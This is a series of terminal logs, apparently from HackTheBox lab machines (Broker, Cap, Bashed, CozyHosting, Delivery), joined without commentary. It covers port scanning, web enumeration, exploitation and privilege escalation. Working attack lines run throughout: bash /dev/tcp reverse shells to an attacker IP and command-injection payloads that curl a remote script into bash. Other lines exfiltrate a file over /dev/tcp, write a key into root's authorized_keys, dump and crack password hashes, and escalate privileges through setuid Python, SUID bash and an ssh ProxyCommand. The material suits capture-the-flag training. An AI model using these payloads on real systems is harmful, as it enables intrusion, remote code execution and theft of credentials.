❯ curl -s -X PUT 10.10.11.243:1338/root/.ssh/authorized_keys -d "ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIM/QPvpr6ZlpPXjNq/RQQC5Wi8sUwISswOUyVV2NYpcN kali@kali"❯ ssh root@10.10.11.243
The authenticity of host '10.10.11.243 (10.10.11.243)' can't be established.
ED25519 key fingerprint is SHA256:TgNhCKF6jUX7MG8TC01/MUj/+u0EBasUVsdSQMHdyfY.
This key is not known by any other names.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '10.10.11.243' (ED25519) to the list of known hosts.
Welcome to Ubuntu 22.04.3 LTS (GNU/Linux 5.15.0-88-generic x86_64)
..[snip]...
The list of available updates is more than a week old.
To check for new updates run: sudo apt update
root@broker:~# whoami
root
root@broker:~# cat /root/root.txt
e8f26dda9ea4c*******************❯ nmap -p- --open -sS --min-rate 1000 -vvv -Pn -n 10.10.10.245 -oG allPorts
Host discovery disabled (-Pn). All addresses will be marked 'up' and scan times may be slower.
Starting Nmap 7.95 ( https://nmap.org ) at 2025-01-26 13:28 CET
Initiating SYN Stealth Scan at 13:28
Scanning 10.10.10.245 [65535 ports]
Discovered open port 22/tcp on 10.10.10.245
Discovered open port 80/tcp on 10.10.10.245
Discovered open port 21/tcp on 10.10.10.245
Completed SYN Stealth Scan at 13:28, 20.61s elapsed (65535 total ports)
Nmap scan report for 10.10.10.245
Host is up, received user-set (0.14s latency).
Scanned at 2025-01-26 13:28:23 CET for 20s
Not shown: 65532 closed tcp ports (reset)
PORT STATE SERVICE REASON
21/tcp open ftp syn-ack ttl 63
22/tcp open ssh syn-ack ttl 63
80/tcp open http syn-ack ttl 63
Read data files from: /usr/share/nmap
Nmap done: 1 IP address (1 host up) scanned in 20.78 seconds
Raw packets sent: 65804 (2.895MB) | Rcvd: 65819 (2.633MB)❯ extractPorts allPorts
[*] Extracting information...
[*] IP Address: 10.10.10.245
[*] Open ports: 21,22,80
[*] Ports copied to clipboard❯ nmap -sCV -p21,22,80 10.10.10.245 -A -oN targeted -oX targetedXML
Starting Nmap 7.95 ( https://nmap.org ) at 2025-01-26 13:29 CET
Nmap scan report for 10.10.10.245
Host is up (0.055s latency).
PORT STATE SERVICE VERSION
21/tcp open ftp vsftpd 3.0.3
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.2 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 3072 fa:80:a9:b2:ca:3b:88:69:a4:28:9e:39:0d:27:d5:75 (RSA)
| 256 96:d8:f8:e3:e8:f7:71:36:c5:49:d5:9d:b6:a4:c9:0c (ECDSA)
|_ 256 3f:d0:ff:91:eb:3b:f6:e1:9f:2e:8d:de:b3:de:b2:18 (ED25519)
80/tcp open http Gunicorn
|_http-title: Security Dashboard
|_http-server-header: gunicorn
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Device type: general purpose
Running: Linux 4.X|5.X
OS CPE: cpe:/o:linux:linux_kernel:4 cpe:/o:linux:linux_kernel:5
OS details: Linux 4.15 - 5.19, Linux 5.0 - 5.14
Network Distance: 2 hops
Service Info: OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel
TRACEROUTE (using port 22/tcp)
HOP RTT ADDRESS
1 101.38 ms 10.10.16.1
2 32.57 ms 10.10.10.245
OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 13.94 seconds❯ xsltproc targetedXML > index.html
❯ python3 -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...❯ ftp 10.10.10.245
Connected to 10.10.10.245.
220 (vsFTPd 3.0.3)
Name (10.10.10.245:kali): anonymous
331 Please specify the password.
Password:
530 Login incorrect.
ftp: Login failed#!/bin/bash
# Crear la carpeta si no existe
mkdir -p PCAPS
# Descargar los archivos y guardarlos como $i.pcap
for i in {0..100}; do
# Intentar descargar el archivo y verificar si existe
wget -q --show-progress "http://10.10.10.245/download/$i" -O "PCAPS/$i.pcap" 2>/dev/null
if [ $? -ne 0 ]; then
# Eliminar el archivo vacío si la descarga falla
rm -f "PCAPS/$i.pcap"
fi
done❯ chmod +x exploit.sh
❯ ./exploit.sh
❯ ls -l PCAPS
.rw-rw-r-- kali kali 9.7 KB Sat May 15 21:53:54 2021 0.pcap
.rw-rw-r-- kali kali 488 B Sun Jan 26 13:38:29 2025 1.pcap
.rw-rw-r-- kali kali 488 B Sun Jan 26 13:39:07 2025 2.pcap
.rw-rw-r-- kali kali 488 B Sun Jan 26 13:39:42 2025 3.pcap
.rw-rw-r-- kali kali 488 B Sun Jan 26 13:39:58 2025 4.pcap❯ ssh nathan@10.10.10.245
nathan@10.10.10.245's password:
Welcome to Ubuntu 20.04.2 LTS (GNU/Linux 5.4.0-80-generic x86_64)
...[snip]...
Last login: Thu May 27 11:21:27 2021 from 10.10.14.7
nathan@cap:~$ cat user.txt
f58f8216595***********************nathan@cap:~$ getcap -r / 2>/dev/null
/usr/bin/python3.8 = cap_setuid,cap_net_bind_service+eip
/usr/bin/ping = cap_net_raw+ep
/usr/bin/traceroute6.iputils = cap_net_raw+ep
/usr/bin/mtr-packet = cap_net_raw+ep
nathan@cap:~$ which python3.8 | xargs ls -l
-rwxr-xr-x 1 root root 5486384 Jan 27 2021 /usr/bin/python3.8
nathan@cap:~$ which python3.8 | xargs getcap
/usr/bin/python3.8 = cap_setuid,cap_net_bind_service+eipnathan@cap:~$ python3.8
Python 3.8.5 (default, Jan 27 2021, 15:41:15)
[GCC 9.3.0] on linux
Type "help", "copyright", "credits" or "license" for more information.
>>> import os
>>> os.setuid(0)
>>> os.system("whoami")
root
0
>>> os.system("/bin/bash")
root@cap:~# cat /root/root.txt
d6f9670*************************❯ nmap -p- --open -sS --min-rate 1000 -vvv -Pn -n 10.10.10.68 -oG allPorts
Host discovery disabled (-Pn). All addresses will be marked 'up' and scan times may be slower.
Starting Nmap 7.95 ( https://nmap.org ) at 2025-01-26 23:45 CET
Initiating SYN Stealth Scan at 23:45
Scanning 10.10.10.68 [65535 ports]
Discovered open port 80/tcp on 10.10.10.68
Completed SYN Stealth Scan at 23:45, 26.40s elapsed (65535 total ports)
Nmap scan report for 10.10.10.68
Host is up, received user-set (0.066s latency).
Scanned at 2025-01-26 23:45:07 CET for 26s
Not shown: 65534 closed tcp ports (reset)
PORT STATE SERVICE REASON
80/tcp open http syn-ack ttl 63
Read data files from: /usr/share/nmap
Nmap done: 1 IP address (1 host up) scanned in 26.57 seconds
Raw packets sent: 67203 (2.957MB) | Rcvd: 68310 (2.955MB)❯ extractPorts allPorts
[*] Extracting information...
[*] IP Address: 10.10.10.68
[*] Open ports: 80
[*] Ports copied to clipboard❯ nmap -sCV -p80 10.10.10.68 -A -oN targeted -oX targetedXML
Starting Nmap 7.95 ( https://nmap.org ) at 2025-01-26 23:46 CET
Nmap scan report for 10.10.10.68
Host is up (0.049s latency).
PORT STATE SERVICE VERSION
80/tcp open http Apache httpd 2.4.18 ((Ubuntu))
|_http-title: Arrexel''s Development Site
|_http-server-header: Apache/2.4.18 (Ubuntu)
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Device type: general purpose
Running: Linux 3.X|4.X
OS CPE: cpe:/o:linux:linux_kernel:3 cpe:/o:linux:linux_kernel:4
OS details: Linux 3.10 - 4.11, Linux 3.13 - 4.4, Linux 3.2 - 4.14, Linux 3.8 - 3.16
Network Distance: 2 hops
TRACEROUTE (using port 80/tcp)
HOP RTT ADDRESS
1 89.52 ms 10.10.16.1
2 31.24 ms 10.10.10.68
OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 11.53 seconds❯ xsltproc targetedXML > index.html
❯ python3 -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...❯ whatweb http://10.10.10.68
http://10.10.10.68 [200 OK] Apache[2.4.18], Country[RESERVED][ZZ], HTML5, HTTPServer[Ubuntu Linux][Apache/2.4.18 (Ubuntu)], IP[10.10.10.68], JQuery, Meta-Author[Colorlib], Script[text/javascript], Title[Arrexel's Development Site]❯ dirsearch -u 'http://10.10.10.68' -i 200 -t 100 2>/dev/null
_|. _ _ _ _ _ _|_ v0.4.3
(_||| _) (/_(_|| (_| )
Extensions: php, aspx, jsp, html, js | HTTP method: GET | Threads: 100 | Wordlist size: 11460
Output File: /home/kali/Desktop/HackTheBox/Linux/Bashed/Bashed/reports/http_10.10.10.68/_25-01-26_23-50-30.txt
Target: http://10.10.10.68/
[23:50:30] Starting:
[23:50:49] 200 - 2KB - /about.html
[23:51:25] 200 - 0B - /config.php
[23:51:27] 200 - 2KB - /contact.html
[23:51:32] 200 - 479B - /dev/
[23:51:46] 200 - 513B - /images/
[23:51:52] 200 - 660B - /js/
[23:52:16] 200 - 454B - /php/
[23:52:52] 200 - 14B - /uploads/
Task Completed❯ nc -nlvp 443
listening on [any] 443 ...bash -c 'bash -i >%26 /dev/tcp/10.10.16.5/443 0>%261'❯ nc -nlvp 443
listening on [any] 443 ...
connect to [10.10.16.5] from (UNKNOWN) [10.10.10.68] 54870
bash: cannot set terminal process group (839): Inappropriate ioctl for device
bash: no job control in this shell
www-data@bashed:/var/www/html/dev$ ls -l /home/
total 8
drwxr-xr-x 4 arrexel arrexel 4096 Jun 2 2022 arrexel
drwxr-xr-x 3 scriptmanager scriptmanager 4096 Dec 4 2017 scriptmanager
www-data@bashed:/var/www/html/dev$ cat /home/arrexel/user.txt
903ab6952c1d********************www-data@bashed:/var/www/html/dev$ sudo -l
Matching Defaults entries for www-data on bashed:
env_reset, mail_badpass,
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin
User www-data may run the following commands on bashed:
(scriptmanager : scriptmanager) NOPASSWD: ALL
www-data@bashed:/var/www/html/dev$ sudo su scriptmanager /bin/bash
scriptmanager@bashed:/var/www/html/dev$scriptmanager@bashed:/$ ls -l
total 80
drwxr-xr-x 2 root root 4096 Jun 2 2022 bin
drwxr-xr-x 3 root root 4096 Jun 2 2022 boot
drwxr-xr-x 19 root root 4140 Jan 26 14:42 dev
drwxr-xr-x 89 root root 4096 Jun 2 2022 etc
drwxr-xr-x 4 root root 4096 Dec 4 2017 home
lrwxrwxrwx 1 root root 32 Dec 4 2017 initrd.img -> boot/initrd.img-4.4.0-62-generic
drwxr-xr-x 19 root root 4096 Dec 4 2017 lib
drwxr-xr-x 2 root root 4096 Jun 2 2022 lib64
drwx------ 2 root root 16384 Dec 4 2017 lost+found
drwxr-xr-x 4 root root 4096 Dec 4 2017 media
drwxr-xr-x 2 root root 4096 Jun 2 2022 mnt
drwxr-xr-x 2 root root 4096 Dec 4 2017 opt
dr-xr-xr-x 177 root root 0 Jan 26 14:41 proc
drwx------ 3 root root 4096 Jan 26 14:43 root
drwxr-xr-x 18 root root 500 Jan 26 14:42 run
drwxr-xr-x 2 root root 4096 Dec 4 2017 sbin
drwxrwxr-- 2 scriptmanager scriptmanager 4096 Jun 2 2022 scriptsscriptmanager@bashed:/scripts$ ls -l
total 8
-rw-r--r-- 1 scriptmanager scriptmanager 58 Dec 4 2017 test.py
-rw-r--r-- 1 root root 12 Jan 26 14:59 test.txt
scriptmanager@bashed:/scripts$ cat test.py
f = open("test.txt", "w")
f.write("testing 123!")
f.close
scriptmanager@bashed:/scripts$ cat test.txt
testing 123!scriptmanager@bashed:/scripts$ find / -perm -4000 2>/dev/null
/bin/mount
/bin/fusermount
/bin/su
/bin/umount
/bin/ping6scriptmanager@bashed:/scripts$ cat test.py
import os
os.system("chmod u+s /bin/bash")scriptmanager@bashed:/scripts$ ls -la /bin/bash
-rwsr-xr-x 1 root root 1037528 Jun 24 2016 /bin/bashscriptmanager@bashed:/scripts$ bash -p
bash-4.3# whoami
root
bash-4.3# cat /root/root.txt
47e69ba25e4e8e*******************❯ nmap -p- --open -sS --min-rate 1000 -vvv -Pn -n 10.10.11.230 -oG allPorts
Host discovery disabled (-Pn). All addresses will be marked 'up' and scan times may be slower.
Starting Nmap 7.95 ( https://nmap.org ) at 2025-02-05 05:53 CET
Initiating SYN Stealth Scan at 05:53
Scanning 10.10.11.230 [65535 ports]
Discovered open port 80/tcp on 10.10.11.230
Discovered open port 22/tcp on 10.10.11.230
Completed SYN Stealth Scan at 05:54, 12.79s elapsed (65535 total ports)
Nmap scan report for 10.10.11.230
Host is up, received user-set (0.038s latency).
Scanned at 2025-02-05 05:53:52 CET for 13s
Not shown: 65533 closed tcp ports (reset)
PORT STATE SERVICE REASON
22/tcp open ssh syn-ack ttl 63
80/tcp open http syn-ack ttl 63
Read data files from: /usr/share/nmap
Nmap done: 1 IP address (1 host up) scanned in 12.90 seconds
Raw packets sent: 65535 (2.884MB) | Rcvd: 65547 (2.623MB)❯ extractPorts allPorts
[*] Extracting information...
[*] IP Address: 10.10.11.230
[*] Open ports: 22,80
[*] Ports copied to clipboard❯ nmap -sCV -p22,80 10.10.11.230 -A -oN targeted -oX targetedXML
Starting Nmap 7.95 ( https://nmap.org ) at 2025-02-05 05:55 CET
Nmap scan report for cozyhosting.htb (10.10.11.230)
Host is up (0.056s latency).
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.9p1 Ubuntu 3ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 256 43:56:bc:a7:f2:ec:46:dd:c1:0f:83:30:4c:2c:aa:a8 (ECDSA)
|_ 256 6f:7a:6c:3f:a6:8d:e2:75:95:d4:7b:71:ac:4f:7e:42 (ED25519)
80/tcp open http nginx 1.18.0 (Ubuntu)
|_http-title: Cozy Hosting - Home
|_http-server-header: nginx/1.18.0 (Ubuntu)
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Device type: general purpose
Running: Linux 4.X|5.X
OS CPE: cpe:/o:linux:linux_kernel:4 cpe:/o:linux:linux_kernel:5
OS details: Linux 4.15 - 5.19, Linux 5.0 - 5.14
Network Distance: 2 hops
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
TRACEROUTE (using port 80/tcp)
HOP RTT ADDRESS
1 96.66 ms 10.10.16.1
2 33.37 ms cozyhosting.htb (10.10.11.230)
OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 11.54 seconds❯ catnp /etc/hosts | grep 10.10.11.230
10.10.11.230 cozyhosting.htb❯ dirsearch -u 'http://cozyhosting.htb' -i 200 -t 50 2>/dev/null
_|. _ _ _ _ _ _|_ v0.4.3
(_||| _) (/_(_|| (_| )
Extensions: php, aspx, jsp, html, js | HTTP method: GET | Threads: 50 | Wordlist size: 11460
Output File: /home/kali/Desktop/HackTheBox/Linux/CozyHosting/CozyHosting/reports/http_cozyhosting.htb/_25-02-05_06-20-38.txt
Target: http://cozyhosting.htb/
[06:20:38] Starting:
[06:20:48] 200 - 0B - /;/login
[06:20:48] 200 - 0B - /;/json
[06:20:48] 200 - 0B - /;admin/
[06:20:48] 200 - 0B - /;/admin
[06:20:48] 200 - 0B - /;json/
[06:20:48] 200 - 0B - /;login/
[06:20:48] 200 - 0B - /error/
[06:20:50] 200 - 0B - /actuator/;/configurationMetadata
[06:20:50] 200 - 0B - /actuator/;/caches
[06:20:50] 200 - 0B - /actuator/;/beans
[06:20:50] 200 - 0B - /actuator/;/auditevents
[06:20:50] 200 - 0B - /actuator/;/env
[06:20:50] 200 - 0B - /actuator/;/events
[06:20:50] 200 - 0B - /actuator/;/conditions
[06:20:50] 200 - 0B - /actuator/;/dump
[06:20:50] 200 - 0B - /actuator/;/configprops
[06:20:50] 200 - 0B - /actuator/;/features
[06:20:50] 200 - 634B - /actuator❯ curl -s -X GET 'http://cozyhosting.htb/actuator' | jq
{
"_links": {
"self": {
"href": "http://localhost:8080/actuator",
"templated": false
},
"sessions": {
"href": "http://localhost:8080/actuator/sessions",
"templated": false
},
"beans": {
"href": "http://localhost:8080/actuator/beans",
"templated": false
},
"health": {
"href": "http://localhost:8080/actuator/health",
"templated": false
},
"health-path": {
"href": "http://localhost:8080/actuator/health/{*path}",
"templated": true
},
"env": {
"href": "http://localhost:8080/actuator/env",
"templated": false
},
"env-toMatch": {
"href": "http://localhost:8080/actuator/env/{toMatch}",
"templated": true
},
"mappings": {
"href": "http://localhost:8080/actuator/mappings",
"templated": false
}
}
}❯ curl -s -X GET 'http://cozyhosting.htb/actuator/sessions' | jq
{
"8164A98A711A5C909D57A3CCD56E9DD4": "kanderson",
}❯ gobuster dir -u http://cozyhosting.htb -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -t 100 -b 503,404
===============================================================
Gobuster v3.6
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url: http://cozyhosting.htb
[+] Method: GET
[+] Threads: 100
[+] Wordlist: /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
[+] Negative Status codes: 404,503
[+] User Agent: gobuster/3.6
[+] Timeout: 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
/index (Status: 200) [Size: 12706]
/login (Status: 200) [Size: 4431]
/admin (Status: 401) [Size: 97]ssh -i [key] gzzcoo;wget${IFS}10.10.14.6/test@localhostgzzcoo;wget${IFS}10.10.16.2/test#!/bin/bash
/bin/bash -c "bash -i >& /dev/tcp/10.10.16.2/443 0>&1"gzzcoo;curl${IFS}http://10.10.16.2/rev.sh${IFS}|bash;#❯ cat shell
bash -i >& /dev/tcp/10.10.16.2/443 0>&1
❯ cat shell | base64
YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xNi4yLzQ0MyAwPiYxCg==
❯ nvim shell
❯ cat shell | base64
YmFzaCAgLWkgID4mICAvZGV2L3RjcC8xMC4xMC4xNi4yLzQ0MyAwPiYxICAKgzzcoo;{echo,-n,YmFzaCAgLWkgID4mICAvZGV2L3RjcC8xMC4xMC4xNi4yLzQ0MyAwPiYxICAK}|{base64,-d}|bash;#app@cozyhosting:/app$ cat /etc/passwd | grep bash
root:x:0:0:root:/root:/bin/bash
postgres:x:114:120:PostgreSQL administrator,,,:/var/lib/postgresql:/bin/bash
josh:x:1003:1003::/home/josh:/usr/bin/bash
app@cozyhosting:/app$ id
uid=1001(app) gid=1001(app) groups=1001(app)
app@cozyhosting:/app$ ls
cloudhosting-0.0.1.jar❯ nc -nlvp 443 > cloudhosting-0.0.1.jar
listening on [any] 443 ...app@cozyhosting:/app$ cat cloudhosting-0.0.1.jar > /dev/tcp/10.10.16.2/443app@cozyhosting:/$ netstat -ano | grep LISTEN
tcp 0 0 0.0.0.0:22 0.0.0.0:* LISTEN off (0.00/0/0)
tcp 0 0 0.0.0.0:80 0.0.0.0:* LISTEN off (0.00/0/0)
tcp 0 0 127.0.0.53:53 0.0.0.0:* LISTEN off (0.00/0/0)
tcp 0 0 127.0.0.1:5432 0.0.0.0:* LISTEN off (0.00/0/0)
tcp6 0 0 :::22 :::* LISTEN off (0.00/0/0)
tcp6 0 0 127.0.0.1:8080 :::* LISTEN off (0.00/0/0)
app@cozyhosting:/$ which psql
/usr/bin/psqlapp@cozyhosting:/$ psql -h localhost -p 5432 -U postgres
Password for user postgres:
psql (14.9 (Ubuntu 14.9-0ubuntu0.22.04.1))
SSL connection (protocol: TLSv1.3, cipher: TLS_AES_256_GCM_SHA384, bits: 256, compression: off)
Type "help" for help.
postgres=# \list
List of databases
Name | Owner | Encoding | Collate | Ctype | Access privileges
-------------+----------+----------+-------------+-------------+-----------------------
cozyhosting | postgres | UTF8 | en_US.UTF-8 | en_US.UTF-8 |
postgres | postgres | UTF8 | en_US.UTF-8 | en_US.UTF-8 |
template0 | postgres | UTF8 | en_US.UTF-8 | en_US.UTF-8 | =c/postgres +
| | | | | postgres=CTc/postgres
template1 | postgres | UTF8 | en_US.UTF-8 | en_US.UTF-8 | =c/postgres +
| | | | | postgres=CTc/postgres
(4 rows)
postgres=# \connect cozyhosting
SSL connection (protocol: TLSv1.3, cipher: TLS_AES_256_GCM_SHA384, bits: 256, compression: off)
You are now connected to database "cozyhosting" as user "postgres".
cozyhosting=# \dt
List of relations
Schema | Name | Type | Owner
--------+-------+-------+----------
public | hosts | table | postgres
public | users | table | postgres
(2 rows)
cozyhosting=# SELECT * FROM users;
name | password | role
-----------+--------------------------------------------------------------+-------
kanderson | $2a$10$E/Vcd9ecflmPudWeLSEIv.cvK6QjxjWlWXpij1NVNV3Mm6eH58zim | User
admin | $2a$10$SpKYdHLB0FOaT7n3x72wtuS0yR8uqqbNNpIPjUb2MZib3H9kVO8dm | Admin
(2 rows)❯ hashcat -a 0 -m 3200 hashes /usr/share/wordlists/rockyou.txt
hashcat (v6.2.6) starting
OpenCL API (OpenCL 3.0 PoCL 6.0+debian Linux, None+Asserts, RELOC, LLVM 18.1.8, SLEEF, DISTRO, POCL_DEBUG) - Platform #1 [The pocl project]
============================================================================================================================================
* Device #1: cpu-sandybridge-11th Gen Intel(R) Core(TM) i5-1135G7 @ 2.40GHz, 2913/5891 MB (1024 MB allocatable), 8MCU
...[snip]...
$2a$10$SpKYdHLB0FOaT7n3x72wtuS0yR8uqqbNNpIPjUb2MZib3H9kVO8dm:manchesterunitedapp@cozyhosting:/$ su josh
Password:
josh@cozyhosting:/$ cd /home/josh
josh@cozyhosting:~$ cat user.txt
ef4f1dc1330f********************josh@cozyhosting:~$ sudo -l
[sudo] password for josh:
Matching Defaults entries for josh on localhost:
env_reset, mail_badpass,
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin,
use_pty
User josh may run the following commands on localhost:
(root) /usr/bin/ssh *josh@cozyhosting:~$ sudo ssh -o ProxyCommand=';sh 0<&2 1>&2' x
# whoami
root
# cat /root/root.txt
2dfc37e4837************************❯ nmap -p- --open -sS --min-rate 1000 -Pn -n 10.10.10.222 -oG allPorts
Starting Nmap 7.95 ( https://nmap.org ) at 2025-01-17 13:32 CET
Nmap scan report for 10.10.10.222
Host is up (0.052s latency).
Not shown: 65532 closed tcp ports (reset)
PORT STATE SERVICE
22/tcp open ssh
80/tcp open http
8065/tcp open unknown
Nmap done: 1 IP address (1 host up) scanned in 14.01 seconds❯ extractPorts allPorts
[*] Extracting information...
[*] IP Address: 10.10.10.222
[*] Open ports: 22,80,8065
[*] Ports copied to clipboard❯ nmap -sCV -p22,80,8065 10.10.10.222 -A -oN targeted -oX targetedXML
Starting Nmap 7.95 ( https://nmap.org ) at 2025-01-17 13:33 CET
Nmap scan report for 10.10.10.222
Host is up (0.071s latency).
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.9p1 Debian 10+deb10u2 (protocol 2.0)
| ssh-hostkey:
| 2048 9c:40:fa:85:9b:01:ac:ac:0e:bc:0c:19:51:8a:ee:27 (RSA)
| 256 5a:0c:c0:3b:9b:76:55:2e:6e:c4:f4:b9:5d:76:17:09 (ECDSA)
|_ 256 b7:9d:f7:48:9d:a2:f2:76:30:fd:42:d3:35:3a:80:8c (ED25519)
80/tcp open http nginx 1.14.2
|_http-server-header: nginx/1.14.2
|_http-title: Welcome
8065/tcp open http Golang net/http server
|_http-title: Mattermost
| http-robots.txt: 1 disallowed entry
|_/
| fingerprint-strings:
| FourOhFourRequest:
| HTTP/1.0 200 OK
| Accept-Ranges: bytes
| Cache-Control: no-cache, max-age=31556926, public
| Content-Length: 3108
| Content-Security-Policy: frame-ancestors 'self'; script-src 'self' cdn.rudderlabs.com
| Content-Type: text/html; charset=utf-8
| Last-Modified: Fri, 17 Jan 2025 12:26:38 GMT
| X-Frame-Options: SAMEORIGIN
| X-Request-Id: wns1zsete3yspkybmn11f4ic3o
| X-Version-Id: 5.30.0.5.30.1.57fb31b889bf81d99d8af8176d4bbaaa.false
| Date: Fri, 17 Jan 2025 12:36:42 GMT
| <!doctype html><html lang="en"><head><meta charset="utf-8"><meta name="viewport" content="width=device-width,initial-scale=1,maximum-scale=1,user-scalable=0"><meta name="robots" content="noindex, nofollow"><meta name="referrer" content="no-referrer"><title>Mattermost</title><meta name="mobile-web-app-capable" content="yes"><meta name="application-name" content="Mattermost"><meta name="format-detection" content="telephone=no"><link re
| GenericLines, Help, RTSPRequest, SSLSessionReq:
| HTTP/1.1 400 Bad Request
| Content-Type: text/plain; charset=utf-8
| Connection: close
| Request
| GetRequest:
| HTTP/1.0 200 OK
| Accept-Ranges: bytes
| Cache-Control: no-cache, max-age=31556926, public
| Content-Length: 3108
| Content-Security-Policy: frame-ancestors 'self'; script-src 'self' cdn.rudderlabs.com
| Content-Type: text/html; charset=utf-8
| Last-Modified: Fri, 17 Jan 2025 12:26:38 GMT
| X-Frame-Options: SAMEORIGIN
| X-Request-Id: z8g87ys5e7fizkr6phaw8efafa
| X-Version-Id: 5.30.0.5.30.1.57fb31b889bf81d99d8af8176d4bbaaa.false
| Date: Fri, 17 Jan 2025 12:36:25 GMT
| <!doctype html><html lang="en"><head><meta charset="utf-8"><meta name="viewport" content="width=device-width,initial-scale=1,maximum-scale=1,user-scalable=0"><meta name="robots" content="noindex, nofollow"><meta name="referrer" content="no-referrer"><title>Mattermost</title><meta name="mobile-web-app-capable" content="yes"><meta name="application-name" content="Mattermost"><meta name="format-detection" content="telephone=no"><link re
| HTTPOptions:
| HTTP/1.0 405 Method Not Allowed
| Date: Fri, 17 Jan 2025 12:36:25 GMT
|_ Content-Length: 0
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service :
...[snip]...
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Device type: general purpose
Running: Linux 4.X|5.X
OS CPE: cpe:/o:linux:linux_kernel:4 cpe:/o:linux:linux_kernel:5
OS details: Linux 4.15 - 5.19, Linux 5.0 - 5.14
Network Distance: 2 hops
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
TRACEROUTE (using port 22/tcp)
HOP RTT ADDRESS
1 65.00 ms 10.10.16.1
2 32.59 ms 10.10.10.222
OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 37.55 seconds❯ xsltproc targetedXML > index.html
❯ python3 -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...❯ cat /etc/hosts | grep 10.10.10.222
10.10.10.222 delivery.htb helpdesk.delivery.htb❯ whatweb http://delivery.htb/
http://delivery.htb/ [200 OK] Country[RESERVED][ZZ], Email[jane@untitled.tld], HTML5, HTTPServer[nginx/1.14.2], IP[10.10.10.222], JQuery, Script, Title[Welcome], nginx[1.14.2]
❯ dirsearch -u http://delivery.htb/ 2>/dev/null
_|. _ _ _ _ _ _|_ v0.4.3
(_||| _) (/_(_|| (_| )
Extensions: php, aspx, jsp, html, js | HTTP method: GET | Threads: 25 | Wordlist size: 11460
Output File: /home/kali/Desktop/HackTheBox/Linux/Delivery/content/reports/http_delivery.htb/__25-01-17_13-41-56.txt
Target: http://delivery.htb/
[13:41:56] Starting:
[13:42:17] 301 - 185B - /assets -> http://delivery.htb/assets/
[13:42:17] 403 - 571B - /assets/
[13:42:29] 301 - 185B - /error -> http://delivery.htb/error/
[13:42:29] 200 - 1KB - /error/
[13:42:35] 301 - 185B - /images -> http://delivery.htb/images/
[13:42:35] 403 - 571B - /images/
[13:42:54] 200 - 648B - /README.MD
Task Completed❯ whatweb http://helpdesk.delivery.htb/
http://helpdesk.delivery.htb/ [200 OK] Bootstrap, Content-Language[en-US], Cookies[OSTSESSID], Country[RESERVED][ZZ], HTML5, HTTPServer[nginx/1.14.2], HttpOnly[OSTSESSID], IP[10.10.10.222], JQuery[3.5.1], PoweredBy[osTicket], Script[text/javascript], Title[delivery], UncommonHeaders[content-security-policy], X-UA-Compatible[IE=edge], nginx[1.14.2]
❯ dirsearch -u http://helpdesk.delivery.htb/ 2>/dev/null
_|. _ _ _ _ _ _|_ v0.4.3
(_||| _) (/_(_|| (_| )
Extensions: php, aspx, jsp, html, js | HTTP method: GET | Threads: 25 | Wordlist size: 11460
Output File: /home/kali/Desktop/HackTheBox/Linux/Delivery/content/reports/http_helpdesk.delivery.htb/__25-01-17_13-43-32.txt
Target: http://helpdesk.delivery.htb/
[13:43:32] Starting:
[13:43:33] 301 - 185B - /js -> http://helpdesk.delivery.htb/js/
[13:43:40] 200 - 36KB - /account.php
[13:43:42] 403 - 571B - /admin/includes/configure.php~
[13:43:49] 403 - 571B - /administrator/includes/
[13:43:51] 400 - 17B - /ajax.php
[13:43:51] 301 - 185B - /api -> http://helpdesk.delivery.htb/api/
[13:43:51] 302 - 0B - /api/ -> ../
[13:43:52] 301 - 185B - /apps -> http://helpdesk.delivery.htb/apps/
[13:43:52] 403 - 571B - /apps/
[13:43:52] 403 - 571B - /assets/
[13:43:53] 301 - 185B - /assets -> http://helpdesk.delivery.htb/assets/
[13:44:01] 301 - 185B - /css -> http://helpdesk.delivery.htb/css/
[13:44:06] 404 - 23B - /file.php
[13:44:10] 301 - 185B - /images -> http://helpdesk.delivery.htb/images/
...[snip]...
Task Completed❯ ssh maildeliverer@delivery.htb
The authenticity of host 'delivery.htb (10.10.10.222)' can't be established.
ED25519 key fingerprint is SHA256:AGdhHnQ749stJakbrtXVi48e6KTkaMj/+QNYMW+tyj8.
This key is not known by any other names.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
maildeliverer@Delivery:~$ ls
user.txt
maildeliverer@Delivery:~$ cat user.txt
117f5f226***********************maildeliverer@Delivery:~$ ls -l /opt/
total 4
drwxrwxr-x 12 mattermost mattermost 4096 Jul 14 2021 mattermost
